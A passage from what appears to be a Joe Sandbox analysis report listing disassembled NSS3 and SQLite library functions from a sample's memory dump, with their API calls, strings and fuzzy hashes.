Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: E581D5707036048BFB114A18CF9435D769ADB70748FA0843AD51ACAFE1EF75C8E4C64A

Function 6C733C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C733C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C733C94

Part of subcall function 6C7295B0: TlsGetValue.KERNEL32(00000000,?,6C7400D2,00000000), ref: 6C7295D2
Part of subcall function 6C7295B0: EnterCriticalSection.KERNEL32(?,?,?,6C7400D2,00000000), ref: 6C7295E7
Part of subcall function 6C7295B0: PR_Unlock.NSS3(?,?,?,?,6C7400D2,00000000), ref: 6C729605

PORT_NewArena_Util.NSS3(00000800), ref: 6C733CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C733CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C733CE1

Part of subcall function 6C733090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C74AE42), ref: 6C7330AA
Part of subcall function 6C733090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7330C7
Part of subcall function 6C733090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7330E5
Part of subcall function 6C733090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C733116
Part of subcall function 6C733090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C73312B
Part of subcall function 6C733090: PK11_DestroyObject.NSS3(?,?), ref: 6C733154
Part of subcall function 6C733090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C73317E

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: c5964d89452e2a530f47f234afd20a009545c8c85975b9d782824cd00f9721ab
Instruction ID: 7bca99bb165b60200c4270e07f034a58c3a306a9ed2d199f2770c43491b10405
Opcode Fuzzy Hash: c5964d89452e2a530f47f234afd20a009545c8c85975b9d782824cd00f9721ab
Instruction Fuzzy Hash: 8A61F875A40210ABEB205E65DE4DFA776B9EF04748F084038FE0DDAA93F721D915C7A1

Function 6C773D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C773440: PK11_GetAllTokens.NSS3 ref: 6C773481
Part of subcall function 6C773440: PR_SetError.NSS3(00000000,00000000), ref: 6C7734A3
Part of subcall function 6C773440: TlsGetValue.KERNEL32 ref: 6C77352E
Part of subcall function 6C773440: EnterCriticalSection.KERNEL32(?), ref: 6C773542
Part of subcall function 6C773440: PR_Unlock.NSS3(?), ref: 6C77355B

TlsGetValue.KERNEL32 ref: 6C773D8B
EnterCriticalSection.KERNEL32(?), ref: 6C773D9F
PR_Unlock.NSS3(?), ref: 6C773DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C773DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C773E4F

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

TlsGetValue.KERNEL32 ref: 6C773E97
EnterCriticalSection.KERNEL32(?), ref: 6C773EAB
PR_Unlock.NSS3(?), ref: 6C773ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C773EEE

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 9de446964cdcec2968a270565804cc1bb8447effb8172f69b4615e27bfd65fcf
Instruction ID: 5e9311e0f81f3f6a4904ed76dee3f96598f06b4734b65aa02e0e4ae303cb2a4d
Opcode Fuzzy Hash: 9de446964cdcec2968a270565804cc1bb8447effb8172f69b4615e27bfd65fcf
Instruction Fuzzy Hash: 97514672A002059FDF21AF29DE48B6B73B8AF45318F054578DE0947B22EB71E954C7E1

Function 6C722C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(9E4141AD), ref: 6C722C5D

Part of subcall function 6C780D30: calloc.MOZGLUE ref: 6C780D50
Part of subcall function 6C780D30: TlsGetValue.KERNEL32 ref: 6C780D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C722C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C722CE0

Part of subcall function 6C722E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C722CDA,?,00000000), ref: 6C722E1E
Part of subcall function 6C722E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C722E33
Part of subcall function 6C722E00: TlsGetValue.KERNEL32 ref: 6C722E4E
Part of subcall function 6C722E00: EnterCriticalSection.KERNEL32(?), ref: 6C722E5E
Part of subcall function 6C722E00: PL_HashTableLookup.NSS3(?), ref: 6C722E71
Part of subcall function 6C722E00: PL_HashTableRemove.NSS3(?), ref: 6C722E84
Part of subcall function 6C722E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C722E96
Part of subcall function 6C722E00: PR_Unlock.NSS3 ref: 6C722EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C722D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C722D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C722D3F
free.MOZGLUE(00000000), ref: 6C722D73
CERT_DestroyCertificate.NSS3(?), ref: 6C722DB8
free.MOZGLUE ref: 6C722DC8

Part of subcall function 6C723E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C723EC2
Part of subcall function 6C723E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C723ED6
Part of subcall function 6C723E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C723EEE
Part of subcall function 6C723E60: PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C723F02
Part of subcall function 6C723E60: PL_FreeArenaPool.NSS3 ref: 6C723F14
Part of subcall function 6C723E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C723F27

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 96b9f9951e421fcf9f623cc31758cbd1cd0dc02820a1f7a9074c5b784221f9d5
Instruction ID: 826dd25df99e1d05cbca26d80941335f70d02fa9a09ece80887a1babe3d3d784
Opcode Fuzzy Hash: 96b9f9951e421fcf9f623cc31758cbd1cd0dc02820a1f7a9074c5b784221f9d5
Instruction Fuzzy Hash: A351FF71A143119BEB119E28CE8EB5B77E5EF94328F14043CEC4983751EB35E815CB92

Function 6C727CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7240D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C723F7F,?,00000055,?,?,6C721666,?,?), ref: 6C7240D9
Part of subcall function 6C7240D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C721666,?,?), ref: 6C7240FC
Part of subcall function 6C7240D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C721666,?,?), ref: 6C724138

PR_GetCurrentThread.NSS3 ref: 6C727CFD

Part of subcall function 6C7E9BF0: TlsGetValue.KERNEL32(?,?,?,6C830A75), ref: 6C7E9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C849030), ref: 6C727D1B

Part of subcall function 6C77FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C721A3E,00000048,00000054), ref: 6C77FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C849048), ref: 6C727D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C727D50
PR_GetCurrentThread.NSS3 ref: 6C727D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C727D7D
free.MOZGLUE(?), ref: 6C727D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C727DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C727E19

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 18cbda7f841c186cec85a7c8b63c7c973addc8e758b995df10cb18e07043272b
Instruction ID: ab4ff9c0b52a75518eab6b59f3550bb2b3302f83063ec50e26f611fc457109d1
Opcode Fuzzy Hash: 18cbda7f841c186cec85a7c8b63c7c973addc8e758b995df10cb18e07043272b
Instruction Fuzzy Hash: AA41E372A0011A9BDF109E69DF4ABAF33E8AF5425CF050034EC19AB751E734E915C7A2

Function 6C783CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C7838BD), ref: 6C783CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C7838BD), ref: 6C783CD1

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C7838BD), ref: 6C783CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C85B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6C7838BD), ref: 6C783D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6C7838BD), ref: 6C783D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C85B369,000000FF,00000000,00000000,00000000,6C7838BD), ref: 6C783D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C783D47
free.MOZGLUE(00000000), ref: 6C783D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6C7838BD), ref: 6C783D6F

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 12dfe25c3bc4c876dc30a6bfbf39f3f99d10a3ae5a8f4a00bdfbd5d27de96662
Instruction ID: 5754982533396882bca1c31443fba9951c734c96262d0839cdde2cdd7736c414
Opcode Fuzzy Hash: 12dfe25c3bc4c876dc30a6bfbf39f3f99d10a3ae5a8f4a00bdfbd5d27de96662
Instruction Fuzzy Hash: 41218AB570651277FB20567E4D0EE7B39ACDB82669B140635BA39D76C1FA60C810C2B1

Function 6C6C7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C6C7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6C7F2E

Strings

%s at line %d of [%.10s], xrefs: 6C6C7EE7, 6C6C7F28
database corruption, xrefs: 6C6C7EE2, 6C6C7F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6C7ED8, 6C6C7F08, 6C6C7F19

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: b5938fc5748954cd4cf9547fadaf75a287ed3631a1bb6c20d19822570dc8c7ef
Instruction ID: b3e39b95fbea05b2abef582e6d1bff264375e31286dea601975894cf214e4891
Opcode Fuzzy Hash: b5938fc5748954cd4cf9547fadaf75a287ed3631a1bb6c20d19822570dc8c7ef
Instruction Fuzzy Hash: A561C271B002059FDB15CF29C890BAA3762FF49308F1548A9EC195BB52D770EC56CBEA

Function 6C6AFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6AFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6AFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6AFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6AFE83

Part of subcall function 6C6AFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C6AFEFA
Part of subcall function 6C6AFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C6AFF3B

Strings

%s at line %d of [%.10s], xrefs: 6C6AFD73, 6C6AFE35
database corruption, xrefs: 6C6AFD6E, 6C6AFE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6AFD64, 6C6AFE26

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 5368113f8ccbd4fc8cc1c5b1788bb459110b9c3c91fbe04720f15398ec1f0fb4
Instruction ID: 47e3a26cf38497f133b66b477b712a6f18b77a47fd3929dd6d7e704cefc10aa1
Opcode Fuzzy Hash: 5368113f8ccbd4fc8cc1c5b1788bb459110b9c3c91fbe04720f15398ec1f0fb4
Instruction Fuzzy Hash: 4D51A371A002059FCB14CF99C9D0AAEB7F1FF48308F144469E905AB752E731EC56CBAA

Function 6C738CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C74124D,00000001), ref: 6C738D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C74124D,00000001), ref: 6C738D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C74124D,00000001), ref: 6C738D73
PR_Unlock.NSS3(?,?,?,?,?,6C74124D,00000001), ref: 6C738D8C

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C74124D,00000001), ref: 6C738DBA

Strings

KRAM, xrefs: 6C738CF9
KRAM, xrefs: 6C738D3E

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: d6e65d30f3dc6938207cff08e7060d363568052709385b841cebc1bb1d735ee5
Instruction ID: 5e5b620ec0e0c788232eca9a5f35f4c43da13ecd2ed5946c95b7a19abe4927f8
Opcode Fuzzy Hash: d6e65d30f3dc6938207cff08e7060d363568052709385b841cebc1bb1d735ee5
Instruction Fuzzy Hash: 2E216BB1A146218FCB01AF78C68965AB7F0BF59308F15997AD898CB706EB34D841CB91

Function 6C75ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C75ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C75AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C75AD23

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C75AD39

Strings

C_MessageDecryptFinal, xrefs: 6C75ACE1
(CK_INVALID_HANDLE), xrefs: 6C75AD1C
hSession = 0x%x, xrefs: 6C75ACFE, 6C75AD0E

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 0af514bfe87dbf193dc5143f8d7af68865bb8b23472d7e4551f7f35b796f5395
Instruction ID: 52d48f42c8831d7d894608c34171f8753a4d4d560fa5f17277043ee3158fedb8
Opcode Fuzzy Hash: 0af514bfe87dbf193dc5143f8d7af68865bb8b23472d7e4551f7f35b796f5395
Instruction Fuzzy Hash: 912128316022149FDB20AB689F8DB7A33B5AB4331EF454435E80997F02DF34A818D7E2

Function 6C811C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=ql,?,?,6C714E1D), ref: 6C811C8A
sqlite3_free.NSS3(00000000), ref: 6C811CB6

Strings

an index, xrefs: 6C811C67
a generated column, xrefs: 6C811C6C
w=ql, xrefs: 6C811C44
a CHECK constraint, xrefs: 6C811C76, 6C811C81
non-deterministic use of %s() in %s, xrefs: 6C811C85

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=ql
API String ID: 1840970956-3717036970
Opcode ID: b5ee283e7c3187eab9c18ad646a862df447c9266e85dff199163784d6dd43347
Instruction ID: 32e7a3ae8303a658cdd9694efef73351af5876d28995a195533066ce060198c0
Opcode Fuzzy Hash: b5ee283e7c3187eab9c18ad646a862df447c9266e85dff199163784d6dd43347
Instruction Fuzzy Hash: 62014CB1B001005BD720BB68D50297177E5EF8634CB554C7DED458BB02EB62E867C755

Function 6C7F4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7F4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7F4DE0

Strings

%s at line %d of [%.10s], xrefs: 6C7F4DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7F4DCB
misuse, xrefs: 6C7F4DD5
invalid, xrefs: 6C7F4DB8
API call with %s database connection pointer, xrefs: 6C7F4DBD

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 02da68c80e7fca196b85e3857361faa307eeccf67feb959245f2710f0b3f2194
Instruction ID: 76bba62c6857a99b426b731e5a0fe29c39b2c41cf167f9e01c5771c45a35669b
Opcode Fuzzy Hash: 02da68c80e7fca196b85e3857361faa307eeccf67feb959245f2710f0b3f2194
Instruction Fuzzy Hash: EAF02422A146642BD6504015CF62F8333554F0231DF870DB0EF147BF53D206A8A5A2E4

Function 6C7F4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

